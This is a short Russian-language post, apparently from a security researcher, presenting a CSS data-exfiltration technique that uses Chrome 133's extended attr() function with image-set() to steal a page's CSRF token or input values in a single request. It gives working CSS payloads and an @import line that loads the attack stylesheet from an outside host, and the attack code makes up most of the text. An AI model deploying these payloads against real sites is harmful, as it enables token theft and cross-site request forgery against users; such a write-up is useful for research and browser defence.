Думаю многие знакомы с CSS exfiltration, а если нет можете прочитать статью 2 летней давности на portswigger
Основная идея тогда заключалась в том, чтобы с помощью CSS селекторов брутфорсить атрибуты тегов:
input[value^="a"] {
--starts-with-a:url(/startsWithA);
}Например так можно украсть CSRF токен, однако атака довольно нестабильная, медленная и тд. Довольно плохо реализуема.
Однако я обнаружил, что начиная с Chrome 133 произошло важное изменение в функции CSS attr, раньше она могла использоваться только с content property, теперь же вы можете использовать её вместе с переменными CSS (https://developer.chrome.com/blog/advanced-attr):
form {
--val: attr(csrf-token);
}--val будет содержать содержать значение атрибута csrf-tokenОднако мы не можем использовать такое внутри url:
form {
--val: attr(csrf-token);
background: url(var(--val)); /* Correct */
}Браузер просто проигнорирует такой property как неверный
Однако на помощь опять спешат новые стандарты CSS, чтобы добиться успеха достаточно использовать
image-setform {
--val: attr(csrf-token);
background: image-set(var(--val)); /* Correct */
}После чего просто сохраняете стиль с кражей нужного поля (например атрибута value у тега input с именем csrf-token)
И делаете
@import с атакуемой страницы :@import url(https://pocs.neplox.security/css-2025-exfiltration.css);
После чего, как можно увидеть на скриншоте, через один запрос вы получите полное значение атрибута тега
